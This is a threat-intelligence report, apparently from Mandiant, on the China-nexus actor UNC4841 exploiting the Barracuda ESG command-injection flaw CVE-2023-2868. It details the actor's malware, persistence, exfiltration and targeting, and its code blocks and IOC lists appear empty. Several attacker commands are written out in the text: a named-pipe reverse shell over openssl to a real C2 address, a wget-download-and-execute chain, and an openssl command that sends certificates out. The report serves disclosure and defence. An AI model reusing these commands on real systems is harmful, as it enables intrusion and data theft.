On May 23, 2023, Barracuda announced that a zero-day vulnerability (CVE-2023-2868) in the Barracuda Email Security Gateway (ESG) had been exploited in-the-wild as early as October 2022 and that they engaged Mandiant to assist in the investigation. Through the investigation, Mandiant identified a suspected China-nexus actor, currently tracked as UNC4841, targeting a subset of Barracuda ESG appliances to utilize as a vector for espionage, spanning a multitude of regions and sectors. Mandiant assesses with high confidence that UNC4841 is an espionage actor behind this wide-ranging campaign in support of the People’s Republic of China.

Starting as early as October 10, 2022, UNC4841 sent emails (see Figure 2) to victim organizations that contained malicious file attachments designed to exploit CVE-2023-2868 to gain initial access to vulnerable Barracuda ESG appliances. Over the course of their campaign, UNC4841 has primarily relied upon three principal code families to establish and maintain a presence on an ESG appliance, following the successful exploitation of CVE-2023-2868. These code families—SALTWATER, SEASPY, and SEASIDE—were identified in the majority of UNC4841 intrusions. As discussed in the Barracuda notice, all three code families attempt to masquerade as legitimate Barracuda ESG modules or services, a trend that UNC4841 has continued with the newly identified malware families detailed for the first time in this blog post. 

Post initial compromise, Mandiant and Barracuda observed UNC4841 aggressively target specific data of interest for exfiltration, and in some cases, leverage access to an ESG appliance to conduct lateral movement into the victim network, or to send mail to other victim appliances. Mandiant has also observed UNC4841 deploy additional tooling to maintain presence on ESG appliances.

On May 19, 2023, UNC4841’s actions were first discovered by the Barracuda team and on May 21, 2023, Barracuda began releasing containment and remediation patches with the goal of eradicating UNC4841 from impacted appliances. In response to these efforts, UNC4841 quickly altered their malware and employed additional persistence mechanisms in an attempt to maintain their access. 

Between May 22, 2023 and May 24, 2023, UNC4841 countered with high frequency operations targeting a number of victims located in at least 16 different countries. Overall, Mandiant identified that this campaign has impacted organizations across the public and private sectors worldwide, with almost a third being government agencies (see Figure 5). 

On June 6, 2023, Barracuda reiterated guidance recommending that all impacted Barracuda customers immediately isolate and replace compromised appliances. In addition, Mandiant recommends further investigation and hunting within impacted networks, as the identified threat actor has demonstrated a commitment to maintaining persistence for continued operations and has shown an ability to move laterally from the ESG appliance. 

The sections that follow provide the technical details uncovered by Barracuda and Mandiant over the course of the investigation to include initial exploitation of the ESG appliance, the malware deployed, as well as UNC4841's shift in tactics, techniques and procedures (TTPs) in response to Barracuda’s remediation efforts. The post concludes with Mandiant's initial assessment on attribution, and provides hardening, remediation and hunting recommendations for organizations impacted.

Mandiant commends Barracuda for their decisive actions, transparency, and information sharing following the exploitation of CVE-2023-2868 by UNC4841. The response to the exploitation of this vulnerability by UNC4841 and subsequent investigation necessitated collaboration between Mandiant, Barracuda, and multiple government and intelligence partners. Mandiant was enabled by expertise of Barracuda engineers who provided invaluable product specific knowledge as well as telemetry data from the full fleet of ESG appliances. The data provided by Barracuda enabled Mandiant to understand the full scope, investigate at scale, as well as monitor subsequent attacker activity.

CVE-2023-2868

CVE-2023-2868 is a remote command injection vulnerability present in the Barracuda Email Security Gateway (appliance form factor only) versions 5.1.3.001-9.2.0.006 that exists when screening email attachments. 

The command injection vulnerability exists in the parsing logic for the processing of TAR files. The following code within the product is the focal point of the vulnerability:

It effectively amounts to unsanitized and unfiltered user-controlled input via the $f variable being executed as a system command through Perl’s qx{} routine. $f is a user-controlled variable that will contain the filenames of the archived files within a TAR. Consequently, UNC4841 was able to format TAR files in a particular manner to trigger a command injection attack that enabled them to remotely execute system commands with the privileges of the Email Security Gateway product.

Initial Access

Starting as early as October 10, 2022, UNC4841 sent emails to victim organizations that contained specially crafted TAR file attachments designed to exploit CVE-2023-2868 to gain initial access to vulnerable Barracuda ESG appliances. In initial emails, UNC4841 attached files with a ".tar" extension in the filename, whereas in later emails they used different file extensions such as ".jpg" or ".dat". Regardless of file extension, the observed attachments were valid TAR files that exploited CVE-2023-2868.

Observed emails contained generic email subject and body content, usually with poor grammar and in some cases still containing placeholder values. Mandiant assesses UNC4841 likely crafted the body and subject of the message to appear as generic spam in order to be flagged by spam filters or dissuade security analysts from performing a full investigation. Mandiant has observed this tactic utilized by advanced groups exploiting zero-day vulnerabilities in the past.

Some examples are shown in Figure 2.

UNC4841 used several different methods to deliver their emails to targeted appliances. In some cases, UNC4841 spoofed email “from” addresses that were for non-existent domains. In other cases, Mandiant observed the actor use addresses with domains that were likely not in use or that we suspect they did not control.

Based on analysis of email headers, Mandiant identified the actor sending emails from a Vultr VPS server (216.238.112[.]82). Mandiant also observed source IP addresses with no notable characteristics or history. In one case, email headers indicated that an email originated from an IP address allocated to China Telecom (101.229.146[.]218). Additionally, Mandiant identified the use of a mail client in the x-mailer header that was found to be low-prevalence and that we have observed in use by another China-nexus espionage actor to send phishing emails. 

Mandiant also obtained exploit emails that indicated the actor had used email addresses that belonged to an organization that was also found to have a compromised Barracuda ESG appliance. Furthermore, UNC4841 was observed sending emails from compromised appliances to exploit or interact with backdoored modules on other compromised appliances. Although we do not have conclusive evidence, execution artifacts on a subset of impacted appliances indicate that UNC4841 is using a utility named “CSmtp” that we suspect is a command line utility to send emails.

Note that at the time of writing, Mandiant has only reviewed a small subset of exploit emails sent by UNC4841. As a result, these findings may not be representative of all emails sent by the actor.

Reverse Shell

UNC4841’s TAR file attachments exploited CVE-2023-2868 in the Barracuda ESG to execute a reverse shell payload on certain ESG appliances targeted by the actor. The malicious TAR files recovered to date have all consisted of five archived files, four of which appear to have no significance to the execution chain and are not used in the exploit, and the first file in the archive containing the exploit payload inside its filename. Since the vulnerability exists in the parsing of this filename, the content of the archived files does not matter and has consisted of random strings.

The exploit payload (filename) is enclosed in backticks (`) and single quotes (‘) which triggers the command injection in the form of command substitution. An example file contained within one of the recovered TAR archives is shown as follows:

Once deobfuscated, the payload contains the following format where the variable $abcdefg is a base64 encoded string that is decoded and executed:

An example of the base64 payload to be executed is shown as follows:

This series of shell commands achieves the following actions:

• setsid
  • Runs a new session and detaches it from the terminal. This ensures that the following command keeps running even if the terminal ends up being closed.
• mkfifo /tmp/p
  • Creates a named pipe at /tmp/p that will be used as the storage to facilitate transferring the commands from the server to be executed.
• sh -i </tmp/p 2>&1
  • creates a new interactive (-i) shell and redirects its input from the named pipe that was just created. 2>&1 redirects the error output to the standard output.
• openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null
  • OpenSSL is used to create a client that connects to the specified IP address and port (in this case 107.148.149[.]156:8080). The -quiet option is used to suppress session and certificate information output. The standard output of this command is redirected to the named pipe, and error output is discarded (2>/dev/null).
• rm /tmp/p
  • This cleans up the named pipe after the OpenSSL connection is closed by removing it.

Mandiant also observed the actor deploy a shell script post-compromise with a similar reverse shell payload. Note that the path of the named pipe varies, but is usually a single letter and/or number. For example /tmp/p, /tmp/p7, and /tmp/t.

In some limited cases, Mandiant also observed UNC4841 execute commands to spawn a bash shell using Python after they had gained access:

Backdoor Payloads

After gaining access to appliances, UNC4841 executed wget commands to download secondary backdoor payloads from open directories on their servers. In some cases, UNC4841 downloaded individual malware files directly. In other cases, Mandiant observed the actor download TAR files that contained backdoor payloads along with shell scripts to install and persist them. An example of a wget command to download, extract, and execute the SALTWATER secondary payload is shown as follows:

This series of shell commands achieves the following actions:

• wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar
  • Downloads a tar archive while ignoring SSL/TLS certificate checks
• tar -xvf install_reuse.tar
  • Extracts the tar archive
• chmod +x update_v35.sh 
  • Enables execute permissions on the malware installer shell script
• ./update_v35.sh
  • Executes the malware installer

Mandiant also observed UNC4841 attempt to use wget to download RAR and ZIP payloads from URLs hosted at temp[.]sh, however, these were unsuccessful and Mandiant was unable to obtain them for analysis.

Over the course of the investigation to date, Mandiant and Barracuda have identified three (3) primary backdoors in use by UNC4841: SEASPY, SALTWATER and SEASIDE.

SEASPY is the primary backdoor that has been deployed by UNC4841 throughout their campaign. SEASPY is a passive backdoor that establishes itself as a PCAP filter on ports TCP/25 (SMTP) and TCP/587 and is activated by a “magic packet”. Mandiant’s analysis has identified code overlap between SEASPY and cd00r, a publicly available backdoor. 

Early deployments of SEASPY, when unpacked, maintained symbols and were installed under the file name:

• BarracudaMailService

Following Barracuda’s patch, Mandiant observed UNC4841 update SEASPY to strip symbols within the binary, pack the malware with UPX, and use authentication when establishing a reverse shell to a command and control (C2) server. UNC4841 deployed this updated variant with the file names:

• resize2fstab
• resize_reisertab

Figure 3 depicts the SEASPY critical attack path.

SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality.

SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as "Channels" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality. The five channels are:

• DownloadChannel
• UploadChannel
• ProxyChannel
• ShellChannel
• TunnelArgs

When deploying SALTWATER, UNC4841 has repeatedly utilized time-stomping to further hide their malicious activity. UNC4841 has also been observed leveraging time-stomping when deploying SEASIDE.

Additionally, between May 21, 2023 and May 22, 2023, shortly following Barracuda’s initial remediation script deployment, UNC4841 quickly made modifications to both SEASPY and SALTWATER related components in order to prevent effective patching. Between May 22, 2023 and May 24, 2023, UNC4841 conducted high frequency operations on a number of victims located in at least 16 different countries; modifying 7 components of SEASPY and at least 2 components of SALTWATER.

SEASIDE is a Lua-based module for the Barracuda SMTP daemon (bsmtpd) that monitors SMTP HELO/EHLO commands to receive an encoded C2 IP address and port that it decodes and passes as arguments to an external binary (WHIRLPOOL) that establishes a reverse shell.

SANDBAR is a rootkit in the form of a trojanized network file system kernel module for linux (nfsd_stub.ko) that contains hooks to hide processes that begin with a specified name. SANDBAR hides the process ID from being displayed when the /proc filesystem is queried. SANDBAR hooks the "iterate_shared" routine of the "file_operations" structure for the /proc filesystem and the subsequent "filldir" callback to hide the process. It appears to be adapted from publicly available rootkit code.

The SANDBAR sample Mandiant analyzed was configured to hide processes starting with the name “Bar”, it is likely this was designed to hide SEASPY malware which was deployed with the name "BarracudaMailService". Network defenders should be aware that command output or log sources for process listings may be missing processes for malware deployed by UNC4841 if the ESG has been infected with SANDBAR and is hiding processes in this manner.  

Trojanized LUA Modules

In addition to installing backdoors, UNC4841 trojanized several legitimate Barracuda LUA modules by inserting additional callback logic to be executed when certain email related events are received by the appliance. A total of three (3) trojanized modules were identified across victim sets that we track with two different malware families: SEASPRAY and SKIPJACK.

SEASPRAY is a launcher written in Lua that is a trojanized Barracuda email security gateway module. SEASPRAY registers an event handler for incoming email attachments. If an attachment has a filename that contains a special value, SEASPRAY copies the file into /tmp directory and executes an external binary (WHIRLPOOL) that establishes a reverse shell with the full path as a parameter. The core modification to the Lua module that identifies SEASPRAY is contained in the following snippet:

Mandiant also discovered a variant of SEASPRAY code that was inserted into a module that is responsible for implementing sender block/accept functionality:

WHIRLPOOL is a C based utility used to create a TLS reverse shell. WHIRLPOOL uses either a single CLI argument that is a given file path, or two arguments that are a given IP and Port. Mandiant has observed WHIRLPOOL being used alongside SEASPRAY and SEASIDE. Differing callback methods were used across differing victim sets. This may have been done in part to reduce their chance of being discovered or it may have been done to leverage existing scripts that were already in place on the system as opposed to creating new files.

SKIPJACK is a passive backdoor written in Lua that is a trojanized version of a Barracuda email security gateway module that processes emails. SKIPJACK registers a listener for incoming email headers and subjects and decodes and executes the content of the “Content-ID” header field. SKIPJACK consists of the following code insertion to a listener that processes email headers (reformatted for readability):

The value of the Content-ID” field is checked against the regex "^[%w%+/=\r\n]+$" to ensure it is Base64 encoded. If these conditions are met, SKIPJACK will AES decrypt the content using openssl, Base64 decode the decrypted data, and execute it as a shell command. The openssl command sets the following flags:

• aes-256-cbc
  • Specifies the encryption algorithm to be used, in this case, Advanced Encryption Standard (AES) with a 256-bit key in Cipher Block Chaining (CBC) mode.
• -d
  • Indicates that the command will perform decryption. The data provided will be decrypted using the specified algorithm and key.
• -A
  • Decodes the input from Base64 encoding before performing the decryption. The input data is expected to be in Base64 format.
• -a
  • Encodes the output in Base64 format after performing the decryption. The decrypted data will be presented in Base64 encoding.
• -nosalt
  • Disables the use of a salt value. A salt is commonly used in encryption to add randomness and increase security.
• -K <REDACTED>
  • Specifies the encryption key to be used. In this case, the key is provided as a hexadecimal value "<REDACTED>". The key should have a length appropriate for the chosen encryption algorithm.
• -iv <REDACTED>
  • Specifies the initialization vector (IV) to be used.

In summary, the OpenSSL command decrypts input data using AES-256 in CBC mode with a specific key and initialization vector. The input is assumed to be Base64-encoded, and the output will also be Base64-encoded. The command does not use a salt value.

Command and Control Infrastructure

Infrastructure used by UNC4841 was observed hosting default, self-signed SSL temporary certificates that are shipped on ESG appliances for setup purposes. It is likely that this was an attempt by UNC4841 to masquerade their reverse shell traffic as legitimate communications being performed to Barracuda infrastructure. 

SHA-256: 6d1d7fe5be6f1db2d7aa2af2b53ef40c2ac06954d983bb40590944c4d00b6e57
SHA-1: 51f7900806f0783f09d45d5017a89322afeb3fc3
MD5: be5b6b52780d35f1392f45d96beb868c

Subject DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Issuer DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Serial Number: 0x2
Validity Period: 2011-09-29 to 2031-09-24

Mandiant observed UNC4841 exfiltrate customer uploaded SSL certificates from compromised Barracuda appliances, shown as follows:

sh -c openssl s_client -quiet -connect 107.148.219[.]55:443 < /home/product/code/config/ssl_signed_cert.pem 2>&1

In some cases Mandiant observed what appeared to be legitimate victim certificates hosted on UNC4841’s infrastructure. It is likely that the actor had extracted these from appliances where victims had configured their own SSL certificates, which would have been located at the same path. 

There were also cases where the actor had simply used a self-signed certificate generated with default values, such as the certificate shown as follows:

SHA-256: 6b60c1c833979494caff32bf02391793ac85f533516367f12a1cea857bbacba7
SHA-1: 0ea7adb0b54d8bada0a8dc41ef4a9b255691d1ba
MD5: 683acdb559bbc7fb64431d1f579a8104

Subject DN: C=XX, L=Default City, O=Default Company Ltd
Issuer DN: C=XX, L=Default City, O=Default Company Ltd
Serial Number: 0xf3616b5e0e362361
Validity Period: 2022-11-30 to 2023-11-30

In multiple cases, UNC4841 used domains rather than IP addresses to establish their reverse shell communications from compromised Barracuda appliances. Through infrastructure analysis, Mandiant identified several points of overlap with infrastructure attributed to other suspected China-nexus espionage operations. Mandiant suspects that this indicates a shared infrastructure procurement support entity rather than the same group being behind both clusters of activity. China-nexus cyber espionage operations often share tools and infrastructure, hence this observation strengthens our assessment that UNC4841 is of a China-nexus. UNC4841 is believed to make use of parked domains that resolve to command and control IP addresses for a short period of time. This technique has been used by other suspected China-nexus espionage operations, but is not unique to them.

Persistence Methods

Over the course of the investigation, Mandiant has identified a number of ways in which UNC4841 has attempted to maintain persistence on an impacted appliance. The first attempt at maintaining persistence was through the execution of their initial reverse shell via hourly and daily cron jobs. These cron jobs were located at the following paths:

• /etc/cron.hourly/core.sh
• /etc/cron.hourly/aacore.sh
• /etc/cron.hourly/appcheck.sh
• /etc/cron.daily/core.sh
• /etc/cron.daily/core_check.sh

UNC4841 persistently executed SEASPY on appliance reboot through the following addition to/etc/init.d/rc:

• <PATH_TOSEASPY> eth0

The following script was leveraged to install the persistence in /etc/init.d/rc:

In later iterations, UNC4841 maintained persistent execution of SEASPY by inserting the following command into the update_version Perl script executed by the appliance:

• system("<PATH_TO_SEASPY> eth0")

Despite the naming of this script, it is not a component in the normal application of Barracuda ESG firmware updates or patches.  

UNC4841 also deployed the SANDBAR kernel rootkit at the following location so it would be executed on startup:

• /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko

Exfiltration

Evidence of data staging and exfiltration of email related data by UNC4841 was observed in a subset of impacted ESG appliances. In the majority of cases, UNC4841 staged the data in .tar.gz files in the /mail/tmp/ directory and utilized a consistent file naming convention containing 3 letters corresponding to the victim organization followed by a number such as 001.

Once staged, UNC4841 leveraged openssl to exfiltrate the .tar.gz file to attacker controlled infrastructure. An example of a command leveraged for exfiltration of the staged data can be seen as follows:

In addition, on a limited number of Email Security Gateway (ESG) appliances, Mandiant recovered shell scripts utilized by UNC4841 that conducted searches of the “mstore” for emails matching specific users or email domains and then staged the results for exfiltration. The “mstore” is the location in which email messages are temporarily stored on the appliance. This activity differs from other email collection activities by UNC4841 as it represents targeted collection of email data based on specific individuals or organizations. The targets identified at the account level included well known academics in Taiwan and Hong Kong as well as Asian and European government officials in Southeast Asia.

The following script, 1.sh, was leveraged to search the “mstore” and stage user email for exfiltration:

The following script, start.sh, was another script leveraged by the actor: 

In a limited number of cases, Mandiant observed UNC4841 utilize the anonfiles file sharing service as a means of exfiltration.

Lateral Movement

UNC4841 was observed conducting reconnaissance activity in a small number of cases. In these cases, the actor utilized open-source tools such as fscan to the ESG for host detection, port scanning, web fingerprint identification, web vulnerability scanning, domain control identification, and other functions. The following figure shows an example output from the fscan tool. In one environment, the actor scanned over 50 subnets over the course of nine days with approximately 80% of these being completed in one day.

Targeting

Targeted organizations have spanned public and private sectors worldwide. A majority of exploitation activity appears to impact the Americas; however, that may partially reflect the product’s customer base (Figure 4).

Almost a third of identified affected organizations were government agencies (Figure 5), supporting the assessment that the campaign had an espionage motivation. Further, in the set of entities selected for focused data exfiltration, shell scripts were uncovered that targeted email domains and users from ASEAN Ministry of Foreign Affairs (MFAs), as well as foreign trade offices and academic research organizations in Taiwan and Hong Kong. In addition, the actors searched for email accounts belonging to individuals working for a government with political or strategic interest to the PRC at the same time that this victim government was participating in high-level, diplomatic meetings with other countries.

Based on the evidence available at the time of analysis, earliest compromises appear to have occurred on a small subset of appliances geo-located to mainland China. The C2 communications utilized during this early set of compromises also leveraged port 8080 while later compromises that occurred globally almost entirely leveraged port- 443 or port 25.

Attribution 

Mandiant assesses with high confidence that UNC4841 conducted espionage activity in support of the People’s Republic of China. While Mandiant has not attributed this activity to a previously known threat group at this time, we have identified several infrastructure and malware code overlaps that provide us with a high degree of confidence that this is a China-nexus espionage operation. Additionally, the targeting, both at the organizational and individual account levels, focused on issues that are high policy priorities for the PRC, particularly in the Asia Pacific region including Taiwan. 

Outlook and Implications

UNC4841 has shown to be highly responsive to defensive efforts and actively modifies TTPs to maintain their operations. Mandiant strongly recommends impacted Barracuda customers continue to hunt for this actor and investigate affected networks. We expect UNC4841 will continue to alter their TTPs and modify their toolkit, especially as network defenders continue to take action against this adversary and their activity is further exposed by the infosec community. Recommendations and detection rules are provided in following sections.

Recommendations 

In alignment with Barracuda’s guidance released on May 31, 2023, Mandiant recommends immediate replacement of compromised ESG appliances, regardless of patch level. Additional guidance for replacing an impacted appliance can be found on Barracuda’s Trust Center.

In addition, Mandiant recommends all impacted organizations perform an investigation and hunting activities within their networks. An investigation may include, but is not limited to the following:

• Sweep the impacted environment for all IOCs provided by both Mandiant and Barracuda.
• Review email logs to identify the initial point of exposure.
• Revoke and rotate all domain-based and local credentials that were on the ESG at the time of compromise.
• Revoke and reissue all certificates that were on the ESG at the time of compromise.
• Monitor the entire environment for the use of credentials that were on the ESG at time of compromise.
• Monitor the entire environment for use of certificates that were on the ESG at time of compromise.
• Review network logs for signs of data exfiltration and lateral movement.
• Capture a forensic image of the appliance and conduct a forensic analysis.
  • Physical appliance models can be imaged following standard procedures. Most models have two (2) hot-swappable drives in a RAID1 configuration. 
  • The provided YARA rules can be applied to appliance images to assist forensic investigators. 

In order to aid organizations in their investigations, Mandiant has published a compilation of IOCs observed to date which can be found at the end of the post.

Along with this blog post, Mandiant has produced a detailed Architecture Hardening guide to assist organizations with this event. The document contains guidance on the following key items:

• Network Communication Restrictions
• Patching and Updates
• Credential Rotation and Segmentation
• Logging and Hunting
• Infrastructure Lateral Movement Hardening

Acknowledgements

Beyond the listed authors are dozens of consultants and analysts who have been working to help our clients with cases related to exploitation of CVE-2023-2868. We would also like to specifically thank Barracuda’s Incident Response Team, the Mandiant FLARE team, Jakub Jozwiak from Mandiant Adversary Methods as well as Fernando Tomlinson, Josh Villanueva, and Alyssa Glickman from Mandiant Incident Response for their invaluable support.

Indicators of Compromise (IOCs)

Network IOCs

Endpoint IOCs

Detection Rules

YARA Rules

Snort/Suricata

Suricata >= 5.0.4

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.